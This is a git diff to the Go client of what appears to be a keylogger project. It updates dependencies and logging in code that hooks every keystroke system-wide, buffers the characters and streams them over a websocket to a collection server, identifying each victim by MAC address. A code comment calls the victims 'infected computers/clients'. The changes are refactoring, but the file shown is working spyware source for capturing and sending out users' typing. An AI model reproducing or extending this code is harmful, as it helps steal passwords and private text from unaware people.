diff --git a/client/go.mod b/client/go.mod
index 9c718d5..7ef6c86 100644
--- a/client/go.mod
+++ b/client/go.mod
@@ -8,4 +8,12 @@ require (
 	github.com/robotn/gohook v0.42.3
 )
 
-require github.com/vcaesar/keycode v0.10.1 // indirect
+require (
+	github.com/labstack/gommon v0.4.2 // indirect
+	github.com/mattn/go-colorable v0.1.13 // indirect
+	github.com/mattn/go-isatty v0.0.20 // indirect
+	github.com/valyala/bytebufferpool v1.0.0 // indirect
+	github.com/valyala/fasttemplate v1.2.2 // indirect
+	github.com/vcaesar/keycode v0.10.1 // indirect
+	golang.org/x/sys v0.15.0 // indirect
+)
diff --git a/client/go.sum b/client/go.sum
index c807ac1..52bc4cc 100644
--- a/client/go.sum
+++ b/client/go.sum
@@ -2,9 +2,24 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
 github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
+github.com/labstack/gommon v0.4.2 h1:F8qTUNXgG1+6WQmqoUWnz8WiEU60mXVVw0P4ht1WRA0=
+github.com/labstack/gommon v0.4.2/go.mod h1:QlUFxVM+SNXhDL/Z7YhocGIBYOiwB0mXm1+1bAPHPyU=
+github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
+github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
+github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
+github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
+github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
 github.com/robotn/gohook v0.42.3 h1:6Pm6q4gOn+CNjDpiBTWqPwbCJF4+0WD/Fdizlztua2U=
 github.com/robotn/gohook v0.42.3/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
+github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
+github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
+github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
+github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ=
 github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
 github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
 github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
 github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
+golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
+golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
diff --git a/client/main.go b/client/main.go
index fce93f9..d6c404f 100644
--- a/client/main.go
+++ b/client/main.go
@@ -2,9 +2,9 @@ package main
 
 import (
 	"bytes"
+	"crypto/rand"
 	"encoding/hex"
 	"fmt"
-	"math/rand"
 	"net"
 	"net/url"
 	"os"
@@ -12,6 +12,7 @@ import (
 	"time"
 
 	"github.com/gorilla/websocket"
+	"github.com/labstack/gommon/log"
 	hook "github.com/robotn/gohook"
 )
 
@@ -23,16 +24,10 @@ const (
 	ENTER_KEYCHAR = 13
 	REG_START     = 32
 	REG_END       = 255
+
+	BUFF_SIZE     = 16  // shouldn't be lower than 8 (because overflow might happen), shouldn't be higher than 128 (because the message frequency will be too low and data may be lost)
 )
 
-var debug = false
-
-func log(msg string, formats ...any) {
-	if debug {
-		fmt.Printf(msg, formats...)
-	}
-}
-
 // get mac address so we can differentiate between separate infected computers/clients
 func getId() []byte {
 	interfaces, err := net.Interfaces()
@@ -52,36 +47,43 @@ func getId() []byte {
 }
 
 func main() {
+	log.SetHeader("${time_rfc3339} ${level}")
+	debugRaw := strings.ToLower(os.Getenv("DEBUG"))
+	if debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" {
+		log.SetLevel(log.DEBUG)
+	} else {
+		log.SetLevel(log.WARN)
+	}
+
 	id := getId()
 	var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}
-	debugRaw := strings.ToLower(os.Getenv("DEBUG"))
-	debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"
 
+	
 	var conn *websocket.Conn
 	var err error
 	var tries = 0
 	for {
-		log("attempting to dial: %s\n", resource.String())
+		log.Debugf("attempting to dial: %s", resource.String())
 		conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
 		if err != nil {
-			log("dialing failed\n")
+			log.Errorf("dialing failed")
 			tries += 1
 			if tries >= 3 {
 				return
 			}
 			time.Sleep(time.Second)
 		} else {
-			log("dialing succesful\n")
+			log.Infof("dialing succesful")
 			break
 		}
 	}
 	defer conn.Close()
 
 	go func() {
-		defer os.Exit(0)
+		defer os.Exit(0) // if error occurs or conn is closed, exit the program
 		for {
 			kind, _, err := conn.ReadMessage()
-			log("read message of kind %v\n", kind)
+			log.Debugf("read message of kind %v", kind)
 			if err != nil {
 				return
 			}
@@ -93,10 +95,10 @@ func main() {
 
 	evChan := hook.Start()
 	defer hook.End()
-	buff := make([]byte, 64)
+	buff := make([]byte, BUFF_SIZE * 2)
 
 	for ev := range evChan {
-		log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar)
+		log.Debugf("received event: %d (%c)", ev.Rawcode, ev.Keychar)
 
 		switch ev.Rawcode {
 		case SHIFT_RAWCODE:
@@ -150,10 +152,10 @@ func main() {
 			}
 		}
 
-		if len(buff) >= 32 {
-			log("writing buffer")
-			conn.WriteMessage(websocket.TextMessage, buff[:32])
-			buff = buff[32:]
+		if len(buff) >= BUFF_SIZE {
+			log.Debugf("writing buffer")
+			conn.WriteMessage(websocket.TextMessage, buff[:BUFF_SIZE])
+			buff = buff[BUFF_SIZE:]
 		}
 	}
 }